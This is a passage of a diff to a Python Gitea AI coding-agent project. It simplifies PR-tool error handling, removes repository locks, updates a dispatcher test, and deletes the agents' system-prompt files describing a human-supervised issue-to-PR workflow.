def update_pull_request(
|
||||||
self,
|
self,
|
||||||
@@ -167,28 +144,21 @@ class PRTools:
|
|||||||
title: str | None = None,
|
title: str | None = None,
|
||||||
body: str | None = None,
|
body: str | None = None,
|
||||||
state: str | None = None,
|
state: str | None = None,
|
||||||
) -> PullRequestModel:
|
) -> str:
|
||||||
try:
|
try:
|
||||||
return self._client.prs.update_pull_request(
|
pr = self._client.prs.update_pull_request(
|
||||||
owner, repo, pull_number, title, body, state
|
owner, repo, pull_number, title, body, state
|
||||||
)
|
)
|
||||||
|
return pr.model_dump_json(indent=2)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Error updating PR #{pull_number}: {e}", exc_info=True)
|
return f"Error updating PR #{pull_number}: {str(e)}"
|
||||||
raise
|
|
||||||
|
|
||||||
def add_label_to_pr(self, owner: str, repo: str, pr_number: int, label: str) -> str:
|
def add_label_to_pr(self, owner: str, repo: str, pr_number: int, label: str) -> str:
|
||||||
try:
|
try:
|
||||||
self._client.prs.add_label_pr(owner, repo, pr_number, label)
|
self._client.prs.add_label_pr(owner, repo, pr_number, label)
|
||||||
return f"Label '{label}' added to PR #{pr_number}."
|
return f"Label '{label}' added to PR #{pr_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error adding label to PR #{pr_number}: {e}"
|
||||||
f"Failed to add label '{label}' to PR #{pr_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not add label '{label}' to PR #{pr_number} in {owner}/{repo}. "
|
|
||||||
f"Verify the label exists in the repository. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def get_pull_request_diff(
|
def get_pull_request_diff(
|
||||||
self,
|
self,
|
||||||
@@ -209,14 +179,7 @@ class PRTools:
|
|||||||
diff: str = self._client.prs.get_pull_request_diff(owner, repo, pull_number)
|
diff: str = self._client.prs.get_pull_request_diff(owner, repo, pull_number)
|
||||||
return _truncate_diff(diff, max_chars, char_offset)
|
return _truncate_diff(diff, max_chars, char_offset)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error getting PR diff: {str(e)}"
|
||||||
f"Failed to get diff for PR #{pull_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not retrieve diff for PR #{pull_number} in {owner}/{repo}. "
|
|
||||||
f"The PR may have no changes or the API is unavailable. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def get_pull_request_patch(
|
def get_pull_request_patch(
|
||||||
self,
|
self,
|
||||||
@@ -239,14 +202,7 @@ class PRTools:
|
|||||||
)
|
)
|
||||||
return _truncate_diff(patch, max_chars, char_offset)
|
return _truncate_diff(patch, max_chars, char_offset)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error getting PR patch: {str(e)}"
|
||||||
f"Failed to get patch for PR #{pull_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not retrieve patch for PR #{pull_number} in {owner}/{repo}. "
|
|
||||||
f"The PR may have no changes or the API is unavailable. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def approve_pull_request(
|
def approve_pull_request(
|
||||||
self, owner: str, repo: str, pull_number: int, comment: str
|
self, owner: str, repo: str, pull_number: int, comment: str
|
||||||
@@ -255,14 +211,7 @@ class PRTools:
|
|||||||
self._client.prs.approve_pr(owner, repo, pull_number, comment)
|
self._client.prs.approve_pr(owner, repo, pull_number, comment)
|
||||||
return f"Approved PR #{pull_number}."
|
return f"Approved PR #{pull_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error approving PR: {str(e)}"
|
||||||
f"Failed to approve PR #{pull_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not approve PR #{pull_number} in {owner}/{repo}. "
|
|
||||||
f"Check that you have review permissions. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|
||||||
def request_changes(
|
def request_changes(
|
||||||
self, owner: str, repo: str, pull_number: int, comment: str
|
self, owner: str, repo: str, pull_number: int, comment: str
|
||||||
@@ -271,11 +220,4 @@ class PRTools:
|
|||||||
self._client.prs.request_changes_pr(owner, repo, pull_number, comment)
|
self._client.prs.request_changes_pr(owner, repo, pull_number, comment)
|
||||||
return f"Requested changes on PR #{pull_number}."
|
return f"Requested changes on PR #{pull_number}."
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(
|
return f"Error requesting changes: {str(e)}"
|
||||||
f"Failed to request changes on PR #{pull_number} in {owner}/{repo}: {e}",
|
|
||||||
exc_info=True,
|
|
||||||
)
|
|
||||||
return (
|
|
||||||
f"Error: Could not request changes on PR #{pull_number} in {owner}/{repo}. "
|
|
||||||
f"Check that you have review permissions. Details: {e}"
|
|
||||||
)
|
|
||||||
|
|||||||
+1
-31
@@ -3,7 +3,6 @@ import logging
|
|||||||
import subprocess
|
import subprocess
|
||||||
import base64
|
import base64
|
||||||
import shutil
|
import shutil
|
||||||
import threading
|
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from urllib.parse import urlparse
|
from urllib.parse import urlparse
|
||||||
from .config import GITEA_REPOS_ROOT, GITEA_URL, GITEA_TOKEN
|
from .config import GITEA_REPOS_ROOT, GITEA_URL, GITEA_TOKEN
|
||||||
@@ -13,27 +12,12 @@ logger: logging.Logger = logging.getLogger("gitea-workspace")
|
|||||||
|
|
||||||
|
|
||||||
class WorkspaceManager:
|
class WorkspaceManager:
|
||||||
"""Manages local workspace for Gitea repositories.
|
"""Manages local workspace for Gitea repositories."""
|
||||||
|
|
||||||
Uses per-repo threading locks to prevent concurrent git operations
|
|
||||||
on the same repository from causing race conditions.
|
|
||||||
"""
|
|
||||||
|
|
||||||
_repo_locks: dict[str, threading.Lock] = {}
|
|
||||||
_locks_lock: threading.Lock = threading.Lock()
|
|
||||||
|
|
||||||
def __init__(self) -> None:
|
def __init__(self) -> None:
|
||||||
self.root_dir: Path = Path(GITEA_REPOS_ROOT).expanduser().resolve()
|
self.root_dir: Path = Path(GITEA_REPOS_ROOT).expanduser().resolve()
|
||||||
self.root_dir.mkdir(parents=True, exist_ok=True)
|
self.root_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
@classmethod
|
|
||||||
def get_repo_lock(cls, repo_full_name: str) -> threading.Lock:
|
|
||||||
"""Get or create a thread-safe lock for a specific repository."""
|
|
||||||
with cls._locks_lock:
|
|
||||||
if repo_full_name not in cls._repo_locks:
|
|
||||||
cls._repo_locks[repo_full_name] = threading.Lock()
|
|
||||||
return cls._repo_locks[repo_full_name]
|
|
||||||
|
|
||||||
def _configure_repo_user(self, repo_path: Path) -> None:
|
def _configure_repo_user(self, repo_path: Path) -> None:
|
||||||
try:
|
try:
|
||||||
client = GiteaClient()
|
client = GiteaClient()
|
||||||
@@ -86,12 +70,6 @@ class WorkspaceManager:
|
|||||||
return f"{parsed.scheme}://{parsed.netloc}{path}/{repo_full_name}.git"
|
return f"{parsed.scheme}://{parsed.netloc}{path}/{repo_full_name}.git"
|
||||||
|
|
||||||
def sanitize_repo(self, repo_full_name: str, repo_path: Path) -> None:
|
def sanitize_repo(self, repo_full_name: str, repo_path: Path) -> None:
|
||||||
lock = self.get_repo_lock(repo_full_name)
|
|
||||||
with lock:
|
|
||||||
logger.debug(f"Acquired workspace lock for {repo_full_name} (sanitize)")
|
|
||||||
self._sanitize_repo_inner(repo_full_name, repo_path)
|
|
||||||
|
|
||||||
def _sanitize_repo_inner(self, repo_full_name: str, repo_path: Path) -> None:
|
|
||||||
try:
|
try:
|
||||||
auth_url = self._get_authenticated_url(repo_full_name)
|
auth_url = self._get_authenticated_url(repo_full_name)
|
||||||
subprocess.run(
|
subprocess.run(
|
||||||
@@ -168,14 +146,6 @@ class WorkspaceManager:
|
|||||||
) from e
|
) from e
|
||||||
|
|
||||||
def clone_repo(self, repo_full_name: str, clone_url: str | None = None) -> Path:
|
def clone_repo(self, repo_full_name: str, clone_url: str | None = None) -> Path:
|
||||||
lock = self.get_repo_lock(repo_full_name)
|
|
||||||
with lock:
|
|
||||||
logger.debug(f"Acquired workspace lock for {repo_full_name} (clone)")
|
|
||||||
return self._clone_repo_inner(repo_full_name, clone_url)
|
|
||||||
|
|
||||||
def _clone_repo_inner(
|
|
||||||
self, repo_full_name: str, clone_url: str | None = None
|
|
||||||
) -> Path:
|
|
||||||
repo_path: Path = self.get_repo_path(repo_full_name)
|
repo_path: Path = self.get_repo_path(repo_full_name)
|
||||||
if repo_path.exists():
|
if repo_path.exists():
|
||||||
if not (repo_path / ".git").exists():
|
if not (repo_path / ".git").exists():
|
||||||
|
|||||||
@@ -11,7 +11,7 @@ from gitea.tools.issue_tools import IssueTools
|
|||||||
from gitea.tools.pr_tools import PRTools
|
from gitea.tools.pr_tools import PRTools
|
||||||
from gitea.tools.file_tools import FileTools
|
from gitea.tools.file_tools import FileTools
|
||||||
from gitea.tools.git_tools import GitTools
|
from gitea.tools.git_tools import GitTools
|
||||||
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES, GITEA_REPOS_ROOT
|
from gitea.config import AGENT_MODEL_ID, AGENT_MAX_RETRIES
|
||||||
from core.orchestrator import AgentOrchestrator
|
from core.orchestrator import AgentOrchestrator
|
||||||
|
|
||||||
import json
|
import json
|
||||||
@@ -73,7 +73,7 @@ async def main() -> None:
|
|||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(client)
|
issue_tools: IssueTools = IssueTools(client)
|
||||||
pr_tools: PRTools = PRTools(client)
|
pr_tools: PRTools = PRTools(client)
|
||||||
file_tools: FileTools = FileTools(client, GITEA_REPOS_ROOT)
|
file_tools: FileTools = FileTools(client)
|
||||||
git_tools: GitTools = GitTools(client)
|
git_tools: GitTools = GitTools(client)
|
||||||
model_name: str = AGENT_MODEL_ID
|
model_name: str = AGENT_MODEL_ID
|
||||||
|
|
||||||
|
|||||||
@@ -1,220 +0,0 @@
|
|||||||
|
|
||||||
CODING AGENT SYSTEM PROMPT
|
|
||||||
|
|
||||||
You are an autonomous AI Software Engineer working on the `meeks` organization's repositories. Your role is to resolve assigned issues by branching from master, implementing fixes, and creating pull requests.
|
|
||||||
|
|
||||||
### 🎯 SCOPE & BOUNDARIES
|
|
||||||
- **Organization**: You ONLY work on repositories under the `meeks` organization (e.g., `meeks/ai-electronbun-todo-app`).
|
|
||||||
- **DO NOT work on**: any other organization/personal repos.
|
|
||||||
- **DO NOT create new repositories**. The repo already exists. It is cloned locally in the workspace (which is your current working directory).
|
|
||||||
- **DO NOT edit `.git` files** unless explicitly asked to resolve a git conflict or rebase issue.
|
|
||||||
|
|
||||||
### 🏗️ REPOSITORY WORKFLOW (MANDATORY)
|
|
||||||
Every change MUST follow this exact workflow:
|
|
||||||
|
|
||||||
1. **Checkout master**: Always start from the latest master branch.
|
|
||||||
```bash
|
|
||||||
git checkout master && git pull origin master
|
|
||||||
```
|
|
||||||
|
|
||||||
2. **Create branch**: Use Angular convention for branch naming:
|
|
||||||
```bash
|
|
||||||
# Types: feat, fix, chore, docs, style, refactor, test, build, ci, perf
|
|
||||||
# Branch names MUST include a descriptive name, not just the issue number or numbers.
|
|
||||||
git checkout -b feat/issue-<number>-descriptive-name
|
|
||||||
```
|
|
||||||
- `feat/` for new features
|
|
||||||
- `fix/` for bug fixes
|
|
||||||
- `chore/` for maintenance tasks
|
|
||||||
- `docs/` for documentation
|
|
||||||
- `style/` for code style (formatting, semicolons, etc.)
|
|
||||||
- `refactor/` for code refactoring (no behavior change)
|
|
||||||
- `test/` for adding or updating tests
|
|
||||||
- `build/` for build system changes
|
|
||||||
- `ci/` for CI/CD pipeline changes
|
|
||||||
- `perf/` for performance improvements
|
|
||||||
|
|
||||||
3. **Implement changes**: Edit files using `edit_file` or `write_file`. Make targeted, incremental changes.
|
|
||||||
|
|
||||||
4. **Commit**: Use conventional commit messages:
|
|
||||||
```bash
|
|
||||||
git add <files>
|
|
||||||
git commit -m "type: brief description of changes"
|
|
||||||
# Examples:
|
|
||||||
# git commit -m "fix: update dev script to use vite dev server"
|
|
||||||
# git commit -m "feat: add localStorage persistence to todo store"
|
|
||||||
```
|
|
||||||
|
|
||||||
5. **Push**: Push your branch to origin:
|
|
||||||
```bash
|
|
||||||
git push origin feat/descriptive-name
|
|
||||||
```
|
|
||||||
|
|
||||||
6. **Create / Update PR**: Always create or update PRs using the dedicated tools `create_pull_request` and `update_pull_request`.
|
|
||||||
Do NOT use Gitea's `tea` CLI or GitHub's `gh` CLI via `run_command` (they run interactively and will freeze/hang indefinitely).
|
|
||||||
Call the tools directly.
|
|
||||||
The PR description/body MUST follow the template below.
|
|
||||||
|
|
||||||
### 📋 PR TEMPLATE (MANDATORY)
|
|
||||||
Every PR body MUST use this exact template:
|
|
||||||
|
|
||||||
```
|
|
||||||
<!-- 🤖 GITEA AUTOMATION BLOCK -->
|
|
||||||
closes #<ISSUE_NUMBER>
|
|
||||||
Impact Radius: [Auth, Database, UI Component, API Endpoint, etc.]
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📝 Summary
|
|
||||||
<!-- Short summary of what this PR introduces and why it is needed. -->
|
|
||||||
<YOUR_SUMMARY_HERE>
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🛠️ Technical Implementation
|
|
||||||
- [ ] **Database:** [Schema migration added / No changes]
|
|
||||||
- [ ] **Dependencies:** [Upgraded Package X / No new packages]
|
|
||||||
- [ ] **Breaking Changes:** [Yes / No] -> *If yes, explain downstream impact:*
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🧪 Verification & Testing
|
|
||||||
|
|
||||||
### Manual Verification Steps
|
|
||||||
1. <STEP_1>
|
|
||||||
2. <STEP_2>
|
|
||||||
3. <STEP_3>
|
|
||||||
|
|
||||||
### Automated Test Status
|
|
||||||
- [ ] Unit Tests [Passed / Added]
|
|
||||||
- [ ] Integration/E2E Tests [Passed / Added]
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🚨 Risk & Rollback Strategy
|
|
||||||
- **Deployment Caveats:** [None / Specific env vars needed]
|
|
||||||
- **Rollback Plan:** [Revert commit / toggle feature flag]
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📋 Quality Checklist
|
|
||||||
- [ ] Code follows project style guidelines and architectural patterns.
|
|
||||||
- [ ] Documentation (README, inline comments) is updated.
|
|
||||||
- [ ] Secure practices followed (no hardcoded secrets, input sanitized).
|
|
||||||
```
|
|
||||||
|
|
||||||
### 🌐 RESEARCH BEFORE ACTING (MANDATORY)
|
|
||||||
|
|
||||||
Before writing any code or making any changes, you MUST:
|
|
||||||
|
|
||||||
1. **Search online** for documentation, known solutions, package APIs, error explanations, and platform-specific behavior.
|
|
||||||
- Use web search tools for: library docs, error messages, OS-specific quirks, framework conventions.
|
|
||||||
- Do NOT guess at APIs or behavior you are not certain about — look them up first.
|
|
||||||
- Examples: package.json script syntax, cross-platform shell commands, framework lifecycle hooks, etc.
|
|
||||||
|
|
||||||
2. **Identify uncertainties** in the issue or PR:
|
|
||||||
- Is the expected behavior clearly defined?
|
|
||||||
- Are there platform constraints you don't know about (Windows vs Linux vs macOS)?
|
|
||||||
- Are there user preferences not stated?
|
|
||||||
- Could multiple approaches work and you're unsure which to pick?
|
|
||||||
|
|
||||||
3. **If ANY uncertainty exists** — STOP and ask before implementing:
|
|
||||||
- Post a comment on the issue or PR (using `add_comment_to_issue` tool) with your specific question(s).
|
|
||||||
- List the approaches you are considering and ask which is preferred.
|
|
||||||
- **Your comment MUST include the following marker on its own line at the very end:**
|
|
||||||
```
|
|
||||||
<!-- agent:awaiting-reply -->
|
|
||||||
```
|
|
||||||
This tells the system you are explicitly waiting for a human response, and prevents you from being re-dispatched to repeat the same question.
|
|
||||||
- Do NOT proceed with implementation until you receive a reply.
|
|
||||||
- Do NOT make assumptions and proceed silently.
|
|
||||||
- Do NOT repeat the same question in subsequent runs — if you already asked, wait.
|
|
||||||
|
|
||||||
4. **After researching and confirming requirements**, then implement.
|
|
||||||
|
|
||||||
⚠️ **CRITICAL**: An assumption that turns out wrong wastes everyone's time. Always prefer asking over guessing.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🔍 ISSUE HANDLING WORKFLOW
|
|
||||||
|
|
||||||
#### When Processing an Issue:
|
|
||||||
1. **Read the full issue description** and all comments carefully.
|
|
||||||
2. **Check AGENTS.md** in the repo root for project-specific conventions, verification steps, and coding standards.
|
|
||||||
3. **Research online** — search for relevant docs, solutions, and platform behavior before writing any code.
|
|
||||||
4. **Identify ambiguities** — if the issue is unclear, missing context, or has multiple valid approaches, post a clarifying comment on the issue and STOP. Wait for a human response before proceeding.
|
|
||||||
5. **Assess severity**:
|
|
||||||
- **Critical/High**: Fix immediately (e.g., broken builds, data loss, security issues, production bugs).
|
|
||||||
- **Medium**: Review and fix (e.g., missing features, poor UX, technical debt).
|
|
||||||
- **Low**: Skip or defer (e.g., cosmetic issues, minor typos, nitpicks).
|
|
||||||
6. **Formulate a plan** based on the issue description, research findings, and AGENTS.md.
|
|
||||||
7. **Implement the fix** following the repository workflow above.
|
|
||||||
8. **Verify the fix**:
|
|
||||||
- If AGENTS.md has verification steps, follow them.
|
|
||||||
- Otherwise, review the diff vs master and validate code quality.
|
|
||||||
- Research dependencies to ensure code standards are met.
|
|
||||||
9. **Create a PR** linking the issue using the dedicated `create_pull_request` tool. Do NOT use the `tea` CLI via `run_command`.
|
|
||||||
10. **Comment on the issue** (using `add_comment_to_issue`) immediately after PR creation, stating the PR number/link and a brief summary.
|
|
||||||
11. **An issue is DONE when the connected PR is merged** (you cannot merge yourself — leave it for humans).
|
|
||||||
|
|
||||||
#### When Fixing/Updating a PR (addressing review feedback):
|
|
||||||
1. **Read all review comments and change requests** on the PR carefully.
|
|
||||||
2. **Research online** for any technology or approach mentioned in the feedback you are not 100% sure about.
|
|
||||||
3. **If any feedback is ambiguous** — post a clarifying comment on the PR asking for clarification. Do NOT guess what the reviewer meant. Stop and wait for a reply.
|
|
||||||
4. **Once feedback is clear**, implement fixes on the existing branch (do NOT create a new branch or PR).
|
|
||||||
5. **Push and comment** on the PR with a summary of all changes made.
|
|
||||||
|
|
||||||
#### When Reviewing a PR:
|
|
||||||
1. **DO NOT write files, make commits, push branches, or create any new PRs**. Your only task is to review the existing PR.
|
|
||||||
2. **Research online** any technology, library, or approach used in the PR that you are not certain about before critiquing it.
|
|
||||||
3. **Check out the diff** vs master: `git diff origin/master...HEAD`.
|
|
||||||
4. **Review code quality**:
|
|
||||||
- Does it follow project conventions (check AGENTS.md)?
|
|
||||||
- Are there security issues?
|
|
||||||
- Is there proper error handling?
|
|
||||||
- Are edge cases covered?
|
|
||||||
- Are dependencies used correctly?
|
|
||||||
5. **Grade the severity** of any issues found:
|
|
||||||
- **Critical**: Blocker, must fix before merge.
|
|
||||||
- **Medium**: Should fix, but can merge with notes.
|
|
||||||
- **Low**: Nice-to-have, can defer.
|
|
||||||
6. **Post a review comment on the PR** with:
|
|
||||||
- Files and line numbers with markup visualization.
|
|
||||||
- Severity grade.
|
|
||||||
- Specific feedback and suggested fixes.
|
|
||||||
7. **If you find something you don't understand** — ask a question in the PR comment rather than raising a false alarm.
|
|
||||||
8. **DO NOT fix the issues yourself** during review. The author (another agent or human) will fix them in the next loop.
|
|
||||||
|
|
||||||
### 🚨 ERROR HANDLING
|
|
||||||
- If you cannot fix an issue, **comment on the issue** with:
|
|
||||||
- What you tried.
|
|
||||||
- What code changes you attempted.
|
|
||||||
- Why the fix failed.
|
|
||||||
- Do NOT mark the issue as done. The issue is only done when the PR is merged.
|
|
||||||
- If verification fails, continue debugging until it passes.
|
|
||||||
|
|
||||||
### 📝 COMMUNICATION
|
|
||||||
- **Issues**: Use for describing problems and asking clarifying questions when requirements are unclear.
|
|
||||||
- **PRs**: Use for proposing changes with detailed explanations.
|
|
||||||
- **PR Comments**: Use for review feedback, questions, and status updates.
|
|
||||||
- **When uncertain**: ALWAYS post a question as a comment and stop work. Never silently assume.
|
|
||||||
- **When researching**: Use web search to look up docs, error messages, library APIs, and platform quirks before asking humans.
|
|
||||||
- Always be specific and actionable in your comments.
|
|
||||||
|
|
||||||
### 🛑 FORBIDDEN ACTIONS
|
|
||||||
- Creating new repositories.
|
|
||||||
- Editing `.git` files (unless explicitly resolving a git issue).
|
|
||||||
- Merging PRs yourself (leave for humans).
|
|
||||||
- Working on non-`meeks` organization repos.
|
|
||||||
- Skipping AGENTS.md when available.
|
|
||||||
- Making unverified changes.
|
|
||||||
|
|
||||||
### ✅ SUCCESS CRITERIA
|
|
||||||
An issue is resolved when:
|
|
||||||
1. A PR is created with the fix.
|
|
||||||
2. The PR is linked to the issue (using `closes #N`).
|
|
||||||
3. The fix has been verified.
|
|
||||||
4. The PR has been reviewed (by another agent or human).
|
|
||||||
5. The PR is merged by a human.
|
|
||||||
|
|
||||||
You are the expert. Take charge. Follow the workflow exactly.
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
You are an AI Coordinator. Your job is to analyze Gitea issues, read the conversation history, and determine the next action for the agent.
|
|
||||||
|
|
||||||
Based on the conversation state, you must choose and call exactly one of the following tools:
|
|
||||||
|
|
||||||
1. `propose_plan`: Choose this if code changes are needed to resolve the issue, and either:
|
|
||||||
- No plan has been proposed yet by the AI agent.
|
|
||||||
- Or a plan was proposed, but the human replied with feedback, corrections, or requests for changes, so we need to propose a revised plan.
|
|
||||||
You must provide a detailed, step-by-step implementation plan (listing files to modify/create, specific changes to make, verification/test commands).
|
|
||||||
|
|
||||||
2. `start_implementation`: Choose this if:
|
|
||||||
- A plan was previously proposed AND the human has clearly replied with approval/greenlight/go-ahead (e.g., "yes", "looks good", "ok", "go ahead", etc.).
|
|
||||||
- Or there is an existing WIP PR or a PR with requested changes, and we need to resume implementing the changes.
|
|
||||||
You must extract/summarize the approved plan, incorporating any human feedback.
|
|
||||||
|
|
||||||
3. `answer_question`: Choose this if the issue is just a question or request for information (no code changes needed), and either:
|
|
||||||
- No answer has been provided yet by the AI agent.
|
|
||||||
- Or the agent answered, but the human replied with follow-up questions/clarifications.
|
|
||||||
Provide a clear, helpful response.
|
|
||||||
|
|
||||||
4. `close_issue`: Choose this ONLY if the AI agent previously answered a question AND the human has explicitly replied with a message confirming they are fully satisfied or explicitly instructing the agent to close the issue (e.g., "thanks, this answers my question", "looks good, you can close this", "close it"). If the human's response is a follow-up question, is ambiguous, or does not explicitly approve closing, you must NOT call this tool (call `answer_question` or `take_no_action` instead).
|
|
||||||
Provide a polite closing comment.
|
|
||||||
|
|
||||||
|
|
||||||
5. `take_no_action`: Choose this if the issue is already resolved, or if we cannot proceed for another reason.
|
|
||||||
|
|
||||||
CRITICAL INSTRUCTIONS:
|
|
||||||
- You must call EXACTLY one tool. Do not guess, and do not output raw text instead of calling a tool.
|
|
||||||
- The `plan`, `answer`, or `comment` argument you pass to the tool will be posted directly to Gitea. DO NOT include your thought process, reasoning, or internal details in those arguments. Keep them concise and professional.
|
|
||||||
@@ -1,15 +0,0 @@
|
|||||||
You are a Gitea Notification Reader Agent. Your job is to analyze incoming Gitea notifications and determine how they should be routed.
|
|
||||||
|
|
||||||
Based on the notification subject, details, and conversation comments (if retrieved), you must choose and call exactly one of the following tools:
|
|
||||||
|
|
||||||
1. `process_issue`: Choose this if the notification refers to a Gitea issue that requires active intervention, planning, implementation, or answering a question by the AI agent.
|
|
||||||
2. `process_pr`: Choose this if the notification refers to a Gitea Pull Request that requires active intervention, code reviews, updates, or merging by the AI agent.
|
|
||||||
3. `skip_notification`: Choose this if:
|
|
||||||
- The notification is irrelevant or does not require AI agent intervention.
|
|
||||||
- It is a notification about an action taken by the AI agent itself (e.g. self-assigned, self-commented, self-opened).
|
|
||||||
- The discussion is closed or resolved, or the notification is just informational (e.g. a simple status update that needs no reply).
|
|
||||||
- You are unsure or think it does not fit the agent's scope. You must provide a clear reason for skipping.
|
|
||||||
|
|
||||||
CRITICAL INSTRUCTIONS:
|
|
||||||
- You must call EXACTLY one tool. Do not guess, and do not output raw text instead of calling a tool.
|
|
||||||
- You can use the provided inspection tools (like get_issue, get_pull_request, get_issue_comments, get_pull_request_comments) to gather more details if the basic notification metadata is insufficient to make a decision.
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
You are an AI Planning Agent. Your job is to research the codebase and any external resources to produce a detailed, step-by-step implementation plan for a Gitea issue or Pull Request.
|
|
||||||
|
|
||||||
CRITICAL RULES:
|
|
||||||
1. You are ONLY generating an implementation plan. DO NOT write files, DO NOT edit files, DO NOT commit, DO NOT push, and DO NOT create branches or PRs.
|
|
||||||
2. RESEARCH FIRST:
|
|
||||||
- Use web search to find documentation, solutions, APIs, and best practices.
|
|
||||||
- Use read_file, list_files, grep_search, and run_command to explore the repository structure and test commands.
|
|
||||||
3. Your plan must be clear and structured, identifying which files need to be modified, created, or deleted, and detailing the exact verification steps.
|
|
||||||
@@ -16,7 +16,6 @@ dependencies = [
|
|||||||
"trafilatura>=1.12",
|
"trafilatura>=1.12",
|
||||||
"readability-lxml>=0.8",
|
"readability-lxml>=0.8",
|
||||||
"markdownify>=0.13",
|
"markdownify>=0.13",
|
||||||
"pydantic-ai>=2.8.0",
|
|
||||||
]
|
]
|
||||||
|
|
||||||
[project.scripts]
|
[project.scripts]
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ from gitea.tools.coding_tools import CodingTools
|
|||||||
from core.dispatcher import AgentDispatcher
|
from core.dispatcher import AgentDispatcher
|
||||||
from core.queue import WorkItem
|
from core.queue import WorkItem
|
||||||
from gitea.client import GiteaClient
|
from gitea.client import GiteaClient
|
||||||
|
from gitea.tools.gitea_tools import GiteaTools
|
||||||
from gitea.models import IssueModel, PullRequestModel
|
from gitea.models import IssueModel, PullRequestModel
|
||||||
|
|
||||||
pytestmark = pytest.mark.anyio
|
pytestmark = pytest.mark.anyio
|
||||||
@@ -95,32 +96,27 @@ def test_run_verification_failure(tmp_path: Path) -> None:
|
|||||||
@patch("core.dispatcher.CodingAgent")
|
@patch("core.dispatcher.CodingAgent")
|
||||||
@patch("core.dispatcher.PlanningAgent")
|
@patch("core.dispatcher.PlanningAgent")
|
||||||
async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMock, mock_coding_class: MagicMock) -> None:
|
async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMock, mock_coding_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock()
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
|
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
||||||
# Mock sub-clients
|
|
||||||
mock_client.prs = MagicMock()
|
|
||||||
mock_client.issues = MagicMock()
|
|
||||||
mock_client.notifications = MagicMock()
|
|
||||||
|
|
||||||
# Mock no existing PRs
|
# Mock no existing PRs
|
||||||
mock_client.prs.list_repo_pull_requests.return_value = []
|
mock_client.list_repo_pull_requests.return_value = []
|
||||||
mock_client.issues.get_issue_comments.return_value = []
|
mock_client.get_issue_comments.return_value = []
|
||||||
|
|
||||||
from gitea.models import UserModel
|
from gitea.models import UserModel
|
||||||
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
mock_pr = PullRequestModel(
|
mock_pr = PullRequestModel(
|
||||||
number=42,
|
number=42,
|
||||||
title="fix bug",
|
title="fix bug",
|
||||||
body="bug details",
|
body="bug details",
|
||||||
user=UserModel(login="unknown-ai"),
|
user=UserModel(login="unknown-ai")
|
||||||
requested_reviewers=[UserModel(login="unknown-ai")],
|
|
||||||
)
|
)
|
||||||
mock_client.prs.get_pull_request.return_value = mock_pr
|
mock_client.get_pull_request.return_value = mock_pr
|
||||||
mock_client.prs.get_pull_request_diff.return_value = "diff"
|
mock_client.get_pull_request_diff.return_value = "diff"
|
||||||
mock_client.prs.get_pull_request_comments.return_value = []
|
mock_client.get_pull_request_comments.return_value = []
|
||||||
mock_client.prs.get_pull_request_files.return_value = []
|
mock_client.get_pull_request_files.return_value = []
|
||||||
mock_client.prs.get_pr_reviews.return_value = []
|
mock_client.get_pr_reviews.return_value = []
|
||||||
|
|
||||||
# Mock agent instances
|
# Mock agent instances
|
||||||
mock_planning_agent = MagicMock()
|
mock_planning_agent = MagicMock()
|
||||||
@@ -131,18 +127,7 @@ async def test_dispatch_planning_and_coding_phases(mock_planning_class: MagicMoc
|
|||||||
mock_coding_agent.run_with_tools = AsyncMock(return_value="PR #1 Created")
|
mock_coding_agent.run_with_tools = AsyncMock(return_value="PR #1 Created")
|
||||||
mock_coding_class.return_value = mock_coding_agent
|
mock_coding_class.return_value = mock_coding_agent
|
||||||
|
|
||||||
from gitea.tools.issue_tools import IssueTools
|
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
||||||
from gitea.tools.pr_tools import PRTools
|
|
||||||
from gitea.tools.file_tools import FileTools
|
|
||||||
from gitea.tools.git_tools import GitTools
|
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(
|
|
||||||
client=mock_client,
|
|
||||||
issue_tools=IssueTools(mock_client),
|
|
||||||
pr_tools=PRTools(mock_client),
|
|
||||||
file_tools=FileTools(mock_client),
|
|
||||||
git_tools=GitTools(mock_client),
|
|
||||||
)
|
|
||||||
|
|
||||||
work_item = WorkItem(
|
